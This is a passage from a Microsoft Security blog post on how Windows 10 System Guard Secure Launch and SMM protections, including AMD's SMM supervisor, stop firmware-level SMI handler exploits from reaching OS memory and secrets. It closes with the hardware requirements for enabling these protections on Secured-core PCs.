Exploits that previously looked to leverage SMM vulnerabilities to read/write these sensitive resources like memory, IO, or certain CPU registers to access secrets, or potentially modify the Hypervisor, are no longer permitted access as part of the policy evaluation. A detected violation upon boot will destroy the DRTM state and prevent access from previously sealed OS secrets and keys. Microsoft has worked with silicon partners and OEMs to ensure that capable Secured-core devices have SMM authored in such a way that meets the SMM policy described, hardening them against this class of attacks. The strength of the ecosystem partnership between Microsoft, silicon vendors and OEMs helps take the security burden of protecting SMM off of security operations teams and recent attacks leveraging SMI handler vulnerabilities are examples of the types of scenarios mitigated by the described SMM protections. When the exploit attempts to leverage a bug in the system management interrupt handler to gain code execution privileges in SMM and modify OS memory, the attempted OS memory access would fall outside our policy boundary and be flagged in the attestation report. The state of DRTM and the SMM protections can be used to help strengthen conditional access strategies in organizations by gating access to sensitive resources based on the health of these hardware and firmware security features.

AMD’s SMM protection component also leverages an SMM supervisor running at a higher processor privilege level (CPL0) to execute SMI handler logic at a lower processor privilege level (CPL3) to isolate and protect resources from SMI handler access and even itself from tampering. Fault handlers are used to protect IO ports & MSRs and enforces CR3 lockdown to protect memory & MMIO components. SMM Supervisor is cryptographically signed and authenticated as well as measured into PCR[17] during SKINIT launch. OEMs include support for SKINIT and AMD’s SMM protections by including the necessary packages in the OS images that are applied to Secured-core PCs.

Getting started with Secure Launch and SMM Protections

Enabling System Guard Secure Launch on a platform may be achieved when the following support is present:

  • Intel, AMD, or ARM virtualization extensions
  • Trusted Platform Module (TPM) 2.0
  • On Intel: TXT support in the BIOS
  • On AMD: SKINIT package must be integrated in the Windows system image
  • On Qualcomm: Implements DRTM TrustZone application and supports SMC memory protections.
  • Kernel DMA Protection

Further configuration information and requirements can be found here. On secured-core PCs, virtualization-based security is supported and hardware-backed security features like System Guard Secure Launch with SMM Protections are enabled by default. Learn more about the line of secured-core PCs available today.

 

Nazmus Sakib

Enterprise and OS Security

The post Force firmware code to be measured and attested by Secure Launch on Windows 10 appeared first on Microsoft Security.